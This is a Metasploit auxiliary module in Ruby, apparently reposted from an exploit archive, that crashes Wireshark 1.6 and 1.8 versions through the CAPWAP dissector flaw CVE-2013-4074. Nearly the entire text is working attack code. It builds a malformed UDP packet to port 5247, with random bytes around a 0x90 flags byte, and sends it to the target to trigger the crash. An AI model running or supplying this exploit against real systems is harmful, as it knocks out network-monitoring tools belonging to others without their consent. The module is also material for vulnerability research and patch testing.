Wireshark CAPWAP Dissector – Denial of Service (Metasploit)
# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Wireshark CAPWAP Dissector DoS', 'Description' => %q{ This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0 to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an incomplete packet. }, 'License' => MSF_LICENSE, 'Author' => [ 'Laurent Butti', # Discovery vulnerability 'j0sm1' # Auxiliary msf module ], 'References' => [ ['CVE', '2013-4074'], ['OSVDB', '94091'], ['BID', '60500'] ], 'DisclosureDate' => 'Apr 28 2014')) # Protocol capwap needs port 5247 to trigger the dissector in wireshark register_options([ Opt::RPORT(5247) ], self.class) end def run connect_udp # We send a packet incomplete to crash dissector print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...") # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then # the dissector crash # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000 buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15) udp_sock.put(buf) disconnect_udp end end |